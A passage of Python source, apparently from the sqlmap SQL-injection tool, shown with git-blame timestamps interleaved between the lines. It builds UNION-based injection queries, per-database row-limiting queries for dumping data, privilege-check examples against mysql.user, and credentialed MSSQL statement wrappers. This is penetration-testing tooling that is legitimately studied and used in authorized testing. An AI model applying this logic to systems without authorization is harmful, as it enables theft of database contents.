intoRegExp = re . search ( r " ( \ s+INTO (DUMP|OUT)FILE \ s+ ' (.+?) ' ) " , query , re . I )
2009-04-22 15:48:07 +04:00
if intoRegExp :
intoRegExp = intoRegExp . group ( 1 )
query = query [ : query . index ( intoRegExp ) ]
2016-04-04 14:50:10 +03:00
position = 0
char = NULL
2011-10-22 02:34:27 +04:00
for element in xrange ( 0 , count ) :
2008-10-15 19:38:22 +04:00
if element > 0 :
2012-10-28 02:36:09 +04:00
unionQuery + = ' , '
2008-10-15 19:38:22 +04:00
2023-11-24 03:39:24 +03:00
if conf . uValues and conf . uValues . count ( ' , ' ) + 1 == count :
2023-09-04 19:34:21 +03:00
unionQuery + = conf . uValues . split ( ' , ' ) [ element ]
elif element == position :
2013-01-21 19:15:38 +04:00
unionQuery + = query
2008-10-15 19:38:22 +04:00
else :
2012-10-28 02:36:09 +04:00
unionQuery + = char
2008-10-15 19:38:22 +04:00
2023-09-04 19:34:21 +03:00
if conf . uValues :
unionQuery = unionQuery . replace ( CUSTOM_INJECTION_MARK_CHAR , query )
2013-01-21 19:15:38 +04:00
if fromTable and not unionQuery . endswith ( fromTable ) :
unionQuery + = fromTable
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
if intoRegExp :
2012-10-28 02:36:09 +04:00
unionQuery + = intoRegExp
2009-04-22 15:48:07 +04:00
2010-12-22 18:47:52 +03:00
if multipleUnions :
2012-10-28 02:36:09 +04:00
unionQuery + = " UNION ALL SELECT "
2010-12-22 18:47:52 +03:00
2011-10-22 02:34:27 +04:00
for element in xrange ( count ) :
2010-12-22 18:47:52 +03:00
if element > 0 :
2012-10-28 02:36:09 +04:00
unionQuery + = ' , '
2010-12-22 18:47:52 +03:00
2011-01-13 12:41:55 +03:00
if element == position :
2012-10-28 02:36:09 +04:00
unionQuery + = multipleUnions
2010-12-22 18:47:52 +03:00
else :
2012-10-28 02:36:09 +04:00
unionQuery + = char
2010-12-22 18:47:52 +03:00
2012-09-06 17:51:38 +04:00
if fromTable :
2012-10-28 02:36:09 +04:00
unionQuery + = fromTable
2010-12-22 18:47:52 +03:00
2012-10-28 02:36:09 +04:00
unionQuery = self . suffixQuery ( unionQuery , comment , suffix )
2008-10-15 19:38:22 +04:00
2012-10-28 02:36:09 +04:00
return unionQuery
2008-10-15 19:38:22 +04:00
2012-12-19 16:17:56 +04:00
def limitCondition ( self , expression , dump = False ) :
startLimit = 0
stopLimit = None
limitCond = True
2017-10-31 13:38:09 +03:00
topLimit = re . search ( r " TOP \ s+([ \ d]+) \ s+ " , expression , re . I )
2012-12-19 16:17:56 +04:00
2012-12-20 02:49:02 +04:00
limitRegExp = re . search ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp . query , expression , re . I )
if hasattr ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp , " query2 " ) :
limitRegExp2 = re . search ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp . query2 , expression , re . I )
else :
limitRegExp2 = None
2012-12-19 16:17:56 +04:00
if ( limitRegExp or limitRegExp2 ) or ( Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) and topLimit ) :
2018-10-16 13:23:07 +03:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL , DBMS . SQLITE , DBMS . H2 ) :
2012-12-19 16:17:56 +04:00
limitGroupStart = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
if limitGroupStart . isdigit ( ) :
2012-12-19 16:42:31 +04:00
if limitRegExp :
2012-12-19 16:17:56 +04:00
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
2012-12-19 16:42:31 +04:00
elif limitRegExp2 :
startLimit = 0
stopLimit = limitRegExp2 . group ( int ( limitGroupStart ) )
2012-12-19 16:17:56 +04:00
limitCond = int ( stopLimit ) > 1
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
if limitRegExp :
limitGroupStart = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
if limitGroupStart . isdigit ( ) :
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
limitCond = int ( stopLimit ) > 1
elif topLimit :
startLimit = 0
stopLimit = int ( topLimit . group ( 1 ) )
limitCond = int ( stopLimit ) > 1
elif Backend . isDbms ( DBMS . ORACLE ) :
limitCond = False
# We assume that only queries NOT containing a "LIMIT #, 1"
# (or equivalent depending on the back-end DBMS) can return
# multiple entries
if limitCond :
if ( limitRegExp or limitRegExp2 ) and stopLimit is not None :
stopLimit = int ( stopLimit )
# From now on we need only the expression until the " LIMIT "
# (or equivalent, depending on the back-end DBMS) word
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL , DBMS . SQLITE ) :
stopLimit + = startLimit
2012-12-20 02:55:31 +04:00
if expression . find ( queries [ Backend . getIdentifiedDbms ( ) ] . limitstring . query ) > 0 :
_ = expression . index ( queries [ Backend . getIdentifiedDbms ( ) ] . limitstring . query )
else :
2017-06-02 01:44:01 +03:00
_ = re . search ( r " \ bLIMIT \ b " , expression , re . I ) . start ( )
2012-12-19 16:17:56 +04:00
expression = expression [ : _ ]
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
stopLimit + = startLimit
elif dump :
if conf . limitStart :
startLimit = conf . limitStart - 1
if conf . limitStop :
stopLimit = conf . limitStop
return expression , limitCond , topLimit , startLimit , stopLimit
2011-02-07 19:24:23 +03:00
def limitQuery ( self , num , query , field = None , uniqueField = None ) :
2008-12-10 20:23:07 +03:00
"""
Take in input a query string and return its limited query string .
Example :
Input : SELECT user FROM mysql . users
Output : SELECT user FROM mysql . users LIMIT < num > , 1
@param num : limit number
@type num : C { int }
@param query : query to be processed
@type query : C { str }
2008-12-22 22:36:01 +03:00
@param field : field within the query
@type field : C { list }
2008-12-10 20:23:07 +03:00
@return : limited query string
@rtype : C { str }
"""
2014-08-11 14:46:37 +04:00
if " FROM " not in query :
return query
2010-04-09 19:48:53 +04:00
limitedQuery = query
2011-01-28 19:36:09 +03:00
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query
2010-04-09 19:48:53 +04:00
fromIndex = limitedQuery . index ( " FROM " )
untilFrom = limitedQuery [ : fromIndex ]
2013-01-10 16:18:44 +04:00
fromFrom = limitedQuery [ fromIndex + 1 : ]
2015-10-13 14:04:59 +03:00
orderBy = None
2008-12-10 20:23:07 +03:00
2021-01-11 19:36:23 +03:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL , DBMS . SQLITE , DBMS . H2 , DBMS . VERTICA , DBMS . PRESTO , DBMS . MIMERSQL , DBMS . CUBRID , DBMS . EXTREMEDB , DBMS . RAIMA ) :
2011-01-28 19:36:09 +03:00
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num , 1 )
2008-12-10 20:23:07 +03:00
limitedQuery + = " %s " % limitStr
2010-11-03 13:08:27 +03:00
2023-12-03 15:25:43 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . H2 , ) :
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( 1 , num )
limitedQuery + = " %s " % limitStr
2020-01-27 19:32:31 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . ALTIBASE , ) :
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num + 1 , 1 )
limitedQuery + = " %s " % limitStr
2023-02-04 02:28:33 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . DERBY , DBMS . CRATEDB , DBMS . CLICKHOUSE ) :
2023-02-12 19:12:38 +03:00
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num , 1 )
2020-01-20 17:33:45 +03:00
limitedQuery + = " %s " % limitStr
2021-02-15 16:07:04 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . FRONTBASE , DBMS . VIRTUOSO ) :
2020-03-02 14:43:12 +03:00
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num , 1 )
if query . startswith ( " SELECT " ) :
limitedQuery = query . replace ( " SELECT " , " SELECT %s " % limitStr , 1 )
2020-01-17 19:14:41 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MONETDB , ) :
if query . startswith ( " SELECT " ) and field is not None and field in query :
original = query . split ( " SELECT " , 1 ) [ 1 ] . split ( " FROM " , 1 ) [ 0 ]
for part in original . split ( ' , ' ) :
if re . search ( r " \ b %s \ b " % re . escape ( field ) , part ) :
_ = re . sub ( r " SELECT.+?FROM " , " SELECT %s AS z,row_number() over() AS y FROM " % part , query , 1 )
replacement = " SELECT x.z FROM ( %s )x WHERE x.y-1= %d " % ( _ , num )
limitedQuery = replacement
break
2015-10-09 17:52:13 +03:00
elif Backend . isDbms ( DBMS . HSQLDB ) :
2015-10-13 14:04:59 +03:00
match = re . search ( r " ORDER BY [^ ]+ " , limitedQuery )
if match :
2018-12-04 00:40:44 +03:00
limitedQuery = re . sub ( r " \ s* %s \ s* " % re . escape ( match . group ( 0 ) ) , " " , limitedQuery ) . strip ( )
2015-10-13 14:04:59 +03:00
limitedQuery + = " %s " % match . group ( 0 )
if query . startswith ( " SELECT " ) :
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num , 1 )
limitedQuery = limitedQuery . replace ( " SELECT " , " SELECT %s " % limitStr , 1 )
else :
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query2 % ( 1 , num )
limitedQuery + = " %s " % limitStr
if not match :
match = re . search ( r " %s \ s+( \ w+) " % re . escape ( limitStr ) , limitedQuery )
if match :
orderBy = " ORDER BY %s " % match . group ( 1 )
2015-10-09 17:52:13 +03:00
2020-02-25 14:36:07 +03:00
elif Backend . isDbms ( DBMS . CACHE ) :
match = re . search ( r " ORDER BY ([^ ]+) \ Z " , limitedQuery )
if match :
limitedQuery = re . sub ( r " \ s* %s \ s* " % re . escape ( match . group ( 0 ) ) , " " , limitedQuery ) . strip ( )
orderBy = " %s " % match . group ( 0 )
field = match . group ( 1 )
limitedQuery = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( 1 , field , limitedQuery , num )
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . FIREBIRD ) :
2013-01-10 16:18:44 +04:00
limitStr = queries [ Backend . getIdentifiedDbms ( ) ] . limit . query % ( num + 1 , num + 1 )
2010-03-18 20:20:54 +03:00
limitedQuery + = " %s " % limitStr
2008-12-10 20:23:07 +03:00
2011-06-25 13:44:24 +04:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . ORACLE , DBMS . DB2 ) :
2018-03-13 15:45:42 +03:00
if " ORDER BY " not in limitedQuery :
2013-01-20 06:40:40 +04:00
limitStr = limitStr . replace ( " ) WHERE LIMIT " , " ORDER BY 1 ASC) WHERE LIMIT " )
elif " ORDER BY " in limitedQuery and " SELECT " in limitedQuery :
2008-12-23 01:48:44 +03:00
limitedQuery = limitedQuery [ : limitedQuery . index ( " ORDER BY " ) ]
2008-12-22 03:51:09 +03:00
if query . startswith ( " SELECT " ) :
2011-03-22 16:07:37 +03:00
delimiter = queries [ Backend . getIdentifiedDbms ( ) ] . delimiter . query
2012-08-20 23:57:25 +04:00
limitedQuery = " %s FROM ( %s , %s " % ( untilFrom , untilFrom . replace ( delimiter , ' , ' ) , limitStr )
2008-12-22 03:51:09 +03:00
else :
2012-08-20 23:57:25 +04:00
limitedQuery = " %s FROM (SELECT %s , %s " % ( untilFrom , ' , ' . join ( f for f in field ) , limitStr )
2013-01-19 01:40:50 +04:00
2016-03-08 16:35:16 +03:00
limitedQuery = safeStringFormat ( limitedQuery , ( fromFrom , ) )
2008-12-10 20:23:07 +03:00
limitedQuery + = " = %d " % ( num + 1 )
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . MSSQL ) :
2009-02-03 02:44:19 +03:00
forgeNotIn = True
2008-12-23 01:48:44 +03:00
if " ORDER BY " in limitedQuery :
2010-04-09 19:48:53 +04:00
orderBy = limitedQuery [ limitedQuery . index ( " ORDER BY " ) : ]
2008-12-23 01:48:44 +03:00
limitedQuery = limitedQuery [ : limitedQuery . index ( " ORDER BY " ) ]
2008-12-10 20:23:07 +03:00
2017-10-31 13:38:09 +03:00
notDistincts = re . findall ( r " DISTINCT[ \ ( \ s+](.+?) \ )* \ s+ " , limitedQuery , re . I )
2010-01-05 19:15:31 +03:00
for notDistinct in notDistincts :
limitedQuery = limitedQuery . replace ( " DISTINCT( %s ) " % notDistinct , notDistinct )
limitedQuery = limitedQuery . replace ( " DISTINCT %s " % notDistinct , notDistinct )
2009-02-03 02:44:19 +03:00
if limitedQuery . startswith ( " SELECT TOP " ) or limitedQuery . startswith ( " TOP " ) :
2011-01-28 19:36:09 +03:00
topNums = re . search ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp . query , limitedQuery , re . I )
2009-02-03 02:44:19 +03:00
if topNums :
topNums = topNums . groups ( )
quantityTopNums = topNums [ 0 ]
2011-01-19 02:02:11 +03:00
limitedQuery = limitedQuery . replace ( " TOP %s " % quantityTopNums , " TOP 1 " , 1 )
startTopNums = topNums [ 1 ]
limitedQuery = limitedQuery . replace ( " (SELECT TOP %s " % startTopNums , " (SELECT TOP %d " % num )
forgeNotIn = False
2009-02-03 02:44:19 +03:00
else :
2019-04-30 15:23:28 +03:00
limitedQuery = re . sub ( r " \ bTOP \ s+ \ d+ \ s* " , " " , limitedQuery , flags = re . I )
2009-02-03 02:44:19 +03:00
2010-01-02 05:02:12 +03:00
if forgeNotIn :
2010-01-05 19:15:31 +03:00
limitedQuery = limitedQuery . replace ( " SELECT " , ( limitStr % 1 ) , 1 )
2011-03-24 20:08:14 +03:00
if " ORDER BY " not in fromFrom :
2019-05-09 17:22:18 +03:00
# Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
2011-02-09 15:43:09 +03:00
if " WHERE " in limitedQuery :
2012-10-29 00:16:51 +04:00
limitedQuery = " %s AND %s " % ( limitedQuery , self . nullAndCastField ( uniqueField or field ) )
2011-02-09 15:43:09 +03:00
else :
2012-12-21 17:52:47 +04:00
limitedQuery = " %s WHERE %s " % ( limitedQuery , self . nullAndCastField ( uniqueField or field ) )
2011-02-09 15:43:09 +03:00
limitedQuery + = " NOT IN ( %s " % ( limitStr % num )
2019-08-30 15:43:56 +03:00
limitedQuery + = " %s %s ORDER BY %s ) ORDER BY %s " % ( self . nullAndCastField ( uniqueField or field ) , fromFrom , uniqueField or ' 1 ' , uniqueField or ' 1 ' )
2009-01-31 02:58:48 +03:00
else :
2017-10-31 13:38:09 +03:00
match = re . search ( r " ORDER BY ( \ w+) \ Z " , query )
2013-02-14 16:36:33 +04:00
field = match . group ( 1 ) if match else field
2011-02-09 15:43:09 +03:00
if " WHERE " in limitedQuery :
limitedQuery = " %s AND %s " % ( limitedQuery , field )
else :
limitedQuery = " %s WHERE %s " % ( limitedQuery , field )
2010-01-05 19:15:31 +03:00
2011-02-09 15:43:09 +03:00
limitedQuery + = " NOT IN ( %s " % ( limitStr % num )
limitedQuery + = " %s %s ) " % ( field , fromFrom )
2011-02-08 03:02:54 +03:00
2010-04-09 19:48:53 +04:00
if orderBy :
limitedQuery + = orderBy
2010-10-15 16:52:33 +04:00
return limitedQuery
2008-12-10 20:23:07 +03:00
2012-07-12 04:12:30 +04:00
def forgeQueryOutputLength ( self , expression ) :
lengthQuery = queries [ Backend . getIdentifiedDbms ( ) ] . length . query
2016-05-30 14:10:25 +03:00
select = re . search ( r " \ ASELECT \ s+ " , expression , re . I )
2020-01-23 01:41:06 +03:00
selectFrom = re . search ( r " \ ASELECT \ s+(.+) \ s+FROM \ s+(.+) " , expression , re . I )
2016-05-30 14:10:25 +03:00
selectTopExpr = re . search ( r " \ ASELECT \ s+TOP \ s+[ \ d]+ \ s+(.+?) \ s+FROM " , expression , re . I )
selectMinMaxExpr = re . search ( r " \ ASELECT \ s+(MIN|MAX) \ (.+? \ ) \ s+FROM " , expression , re . I )
2012-07-12 04:12:30 +04:00
2013-01-22 17:27:17 +04:00
_ , _ , _ , _ , _ , _ , fieldsStr , _ = self . getFields ( expression )
2020-01-23 01:41:06 +03:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MCKOI , ) and selectFrom :
lengthExpr = " SELECT %s FROM %s " % ( lengthQuery % selectFrom . group ( 1 ) , selectFrom . group ( 2 ) )
elif selectTopExpr or selectMinMaxExpr :
2013-03-16 01:08:15 +04:00
lengthExpr = lengthQuery % ( " ( %s ) " % expression )
elif select :
2013-03-16 01:49:09 +04:00
lengthExpr = expression . replace ( fieldsStr , lengthQuery % fieldsStr , 1 )
2012-07-12 04:12:30 +04:00
else :
lengthExpr = lengthQuery % expression
2013-01-18 18:40:37 +04:00
return unescaper . escape ( lengthExpr )
2012-07-12 04:12:30 +04:00
2008-12-19 23:09:46 +03:00
def forgeCaseStatement ( self , expression ) :
"""
Take in input a query string and return its CASE statement query
string .
Example :
Input : ( SELECT super_priv FROM mysql . user WHERE user = ( SUBSTRING_INDEX ( CURRENT_USER ( ) , ' @ ' , 1 ) ) LIMIT 0 , 1 ) = ' Y '
Output : SELECT ( CASE WHEN ( ( SELECT super_priv FROM mysql . user WHERE user = ( SUBSTRING_INDEX ( CURRENT_USER ( ) , ' @ ' , 1 ) ) LIMIT 0 , 1 ) = ' Y ' ) THEN 1 ELSE 0 END )
@param expression : expression to be processed
@type num : C { str }
@return : processed expression
@rtype : C { str }
"""
2011-02-01 00:20:23 +03:00
caseExpression = expression
2012-10-15 14:24:30 +04:00
if Backend . getIdentifiedDbms ( ) is not None :
2011-02-01 00:20:23 +03:00
caseExpression = queries [ Backend . getIdentifiedDbms ( ) ] . case . query % expression
2012-02-07 18:57:48 +04:00
if " (IIF " not in caseExpression and Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and not caseExpression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) :
2012-02-07 16:05:23 +04:00
caseExpression + = FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ]
2011-02-01 00:20:23 +03:00
return caseExpression
2008-12-19 23:09:46 +03:00
2014-03-30 18:51:31 +04:00
def addPayloadDelimiters ( self , value ) :
2010-10-29 20:11:50 +04:00
"""
Adds payload delimiters around the input string
"""
2014-03-30 18:51:31 +04:00
return " %s %s %s " % ( PAYLOAD_DELIMITER , value , PAYLOAD_DELIMITER ) if value else value
2010-10-29 20:11:50 +04:00
2014-03-30 18:51:31 +04:00
def removePayloadDelimiters ( self , value ) :
2010-10-29 20:11:50 +04:00
"""
Removes payload delimiters from inside the input string
"""
2019-08-30 15:43:56 +03:00
return value . replace ( PAYLOAD_DELIMITER , " " ) if value else value
2010-10-29 20:11:50 +04:00
2014-03-30 18:51:31 +04:00
def extractPayload ( self , value ) :
2010-10-29 20:11:50 +04:00
"""
Extracts payload from inside of the input string
"""
2013-10-17 18:38:07 +04:00
_ = re . escape ( PAYLOAD_DELIMITER )
2017-10-31 13:38:09 +03:00
return extractRegexResult ( r " (?s) %s (?P<result>.*?) %s " % ( _ , _ ) , value )
2010-10-29 20:11:50 +04:00
2014-03-30 18:51:31 +04:00
def replacePayload ( self , value , payload ) :
2010-10-29 20:11:50 +04:00
"""
Replaces payload inside the input string with a given payload
"""
2013-10-17 18:38:07 +04:00
_ = re . escape ( PAYLOAD_DELIMITER )
2017-10-31 13:38:09 +03:00
return re . sub ( r " (?s)( %s .*? %s ) " % ( _ , _ ) , ( " %s %s %s " % ( PAYLOAD_DELIMITER , getUnicode ( payload ) , PAYLOAD_DELIMITER ) ) . replace ( " \\ " , r " \\ " ) , value ) if value else value
2010-10-29 20:11:50 +04:00
2012-07-02 18:02:00 +04:00
def runAsDBMSUser ( self , query ) :
2012-07-24 17:34:50 +04:00
if conf . dbmsCred and " Ad Hoc Distributed Queries " not in query :
2012-07-10 03:19:32 +04:00
query = getSQLSnippet ( DBMS . MSSQL , " run_statement_as_user " , USER = conf . dbmsUsername , PASSWORD = conf . dbmsPassword , STATEMENT = query . replace ( " ' " , " ' ' " ) )
2012-07-02 18:02:00 +04:00
return query
2017-01-02 17:14:59 +03:00
def whereQuery ( self , query ) :
if conf . dumpWhere and query :
2020-10-05 22:36:30 +03:00
if Backend . isDbms ( DBMS . ORACLE ) and re . search ( r " qq ORDER BY \ w+ \ ) " , query , re . I ) is not None :
2020-09-24 15:55:13 +03:00
prefix , suffix = re . sub ( r " (?i)(qq)( ORDER BY \ w+ \ )) " , r " \ g<1> WHERE %s \ g<2> " % conf . dumpWhere , query ) , " "
2019-11-17 21:27:19 +03:00
else :
2020-09-24 15:55:13 +03:00
match = re . search ( r " (LIMIT|ORDER).+ " , query , re . I )
if match :
suffix = match . group ( 0 )
prefix = query [ : - len ( suffix ) ]
else :
prefix , suffix = query , " "
2017-01-02 17:14:59 +03:00
2018-10-04 14:51:41 +03:00
if conf . tbl and " %s ) " % conf . tbl . upper ( ) in prefix . upper ( ) :
2017-01-02 17:14:59 +03:00
prefix = re . sub ( r " (?i) %s \ ) " % re . escape ( conf . tbl ) , " %s WHERE %s ) " % ( conf . tbl , conf . dumpWhere ) , prefix )
elif re . search ( r " (?i) \ bWHERE \ b " , prefix ) :
prefix + = " AND %s " % conf . dumpWhere
else :
prefix + = " WHERE %s " % conf . dumpWhere
2019-11-17 21:27:19 +03:00
query = prefix
2020-10-20 13:54:22 +03:00
if suffix and not all ( re . search ( r " ORDER BY " , _ , re . I ) is not None for _ in ( query , suffix ) ) :
2019-11-17 21:27:19 +03:00
query + = suffix
2017-01-02 17:14:59 +03:00
return query
2008-10-15 19:38:22 +04:00
# SQL agent
agent = Agent ( )